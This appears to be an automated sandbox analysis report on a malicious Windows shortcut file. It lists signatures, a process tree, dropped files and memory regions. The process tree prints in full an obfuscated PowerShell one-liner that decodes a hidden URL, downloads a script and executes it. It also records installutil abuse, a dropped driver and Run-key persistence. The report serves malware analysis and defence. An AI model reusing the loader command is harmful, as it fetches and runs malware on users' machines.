Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
27/07/2026, 06:14
General
- Target photov_647136879985.lnk
- Size 1KB
- Sample260727-gzq3nahr21
- SHA256 ffcaf0df6a3f1a2683d4ce787655e65782b7ecc64a6150f31851ab49cafe750a
Malware Config
Signatures
- Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 22 IoCs
- Adds Run key to start application 2 TTPs 3 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 3 IoCs
- Suspicious use of AdjustPrivilegeToken 25 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_647136879985.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -c "$p562=33;$my7nx6m=41;$p8gmajm7=[bigint]::Parse('335346371824957570118741469769116188254408931588');$urhl07tx0r=[bigint]::Parse('335346371667789882978328470675566019848283982221');$p8gmajm7=$p8gmajm7-$urhl07tx0r;$hdoahu=@();while($p8gmajm7 -gt 0){$hdoahu+=[char][int]([bigint]::Remainder($p8gmajm7,256));$p8gmajm7=[bigint]::Divide($p8gmajm7,256)};.([scriptblock]::Create((irm(-join$hdoahu))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "$p562=33;$my7nx6m=41;$p8gmajm7=[bigint]::Parse('335346371824957570118741469769116188254408931588');$urhl07tx0r=[bigint]::Parse('335346371667789882978328470675566019848283982221');$p8gmajm7=$p8gmajm7-$urhl07tx0r;$hdoahu=@();while($p8gmajm7 -gt 0){$hdoahu+=[char][int]([bigint]::Remainder($p8gmajm7,256));$p8gmajm7=[bigint]::Divide($p8gmajm7,256)};.([scriptblock]::Create((irm(-join$hdoahu))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\asobqxua_upd_fjwh\git.exe"C:\Users\Admin\AppData\Local\asobqxua_upd_fjwh\git.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\asobqxua_upd_fjwh\git.exe"C:\Users\Admin\AppData\Local\asobqxua_upd_fjwh\git.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\GitWinx86\git.exe"C:\ProgramData\GitWinx86\git.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
msvcp140.dll
ucrtbase.dll
zlib1.dll
anaoiq_f_ptozs.zip
git.exe
libiconv-2.dll
libintl-8.dll
libpcre2-8-0.dll
libwinpthread-1.dll
vcruntime140.dll
vcruntime140_1.dll
DCRCVDrv.sys
memory/3304-14-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
memory/3304-8-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
memory/3304-18-0x00000120A63E0000-0x00000120A63FE000-memory.dmp
memory/3304-20-0x00000120A5F70000-0x00000120A5F7A000-memory.dmp
memory/3304-22-0x00000120A6430000-0x00000120A6454000-memory.dmp
memory/3304-21-0x00000120A6430000-0x00000120A645A000-memory.dmp
memory/3304-19-0x00000120A6680000-0x00000120A6732000-memory.dmp
memory/3304-23-0x00000120A6C70000-0x00000120A7198000-memory.dmp
memory/3304-24-0x00000120A6410000-0x00000120A641A000-memory.dmp
memory/3304-26-0x00000120A6440000-0x00000120A6452000-memory.dmp
memory/3304-29-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
memory/3304-0-0x00007FFF27A3F000-0x00007FFF27A40000-memory.dmp
memory/3304-13-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
memory/3304-12-0x00000120A64B0000-0x00000120A6672000-memory.dmp
memory/3304-11-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
memory/3304-10-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
memory/3304-9-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
memory/3304-15-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
memory/3304-7-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
memory/3304-6-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
memory/3304-5-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
memory/3304-126-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
memory/3304-3-0x00000120A5E80000-0x00000120A5EA2000-memory.dmp
memory/3304-4-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
memory/3540-153-0x0000000000800000-0x0000000000870000-memory.dmp
memory/4612-161-0x00007FFF1E5D0000-0x00007FFF1E6EF000-memory.dmp
memory/4612-160-0x00007FF64A570000-0x00007FF64A9DF000-memory.dmp
memory/4612-162-0x00007FFF30D30000-0x00007FFF30D82000-memory.dmp
memory/4612-164-0x00007FFF33330000-0x00007FFF33356000-memory.dmp
memory/4612-163-0x00007FFF1FF60000-0x00007FFF20016000-memory.dmp
memory/4624-130-0x0000000000010000-0x000000000003D000-memory.dmp
memory/5012-158-0x00007FFF33330000-0x00007FFF33356000-memory.dmp
memory/5012-157-0x00007FFF30D30000-0x00007FFF30D82000-memory.dmp
memory/5012-156-0x00007FFF1E5D0000-0x00007FFF1E6EF000-memory.dmp
memory/5012-155-0x00007FFF1FF60000-0x00007FFF20016000-memory.dmp
memory/5012-154-0x00007FF64A570000-0x00007FF64A9DF000-memory.dmp
memory/5660-232-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-208-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-166-0x00000000054B0000-0x00000000054DC000-memory.dmp
memory/5660-214-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-159-0x0000000000400000-0x0000000000470000-memory.dmp
memory/5660-268-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-266-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-264-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-262-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-260-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-258-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-256-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-254-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-252-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-250-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-244-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-242-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-238-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-236-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-234-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-230-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-228-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-224-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-222-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-220-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-218-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-216-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-212-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-210-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-165-0x0000000005360000-0x000000000537A000-memory.dmp
memory/5660-206-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-204-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-202-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-200-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-198-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-196-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-194-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-192-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-190-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-188-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-186-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-182-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-180-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-176-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-174-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-172-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-168-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-167-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-247-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-248-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-240-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-226-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-184-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-178-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-170-0x00000000054B0000-0x00000000054D6000-memory.dmp
memory/5660-2045-0x0000000005750000-0x00000000057B6000-memory.dmp
memory/5660-2046-0x0000000006590000-0x0000000006622000-memory.dmp
memory/5660-2047-0x0000000006BF0000-0x00000000071AA000-memory.dmp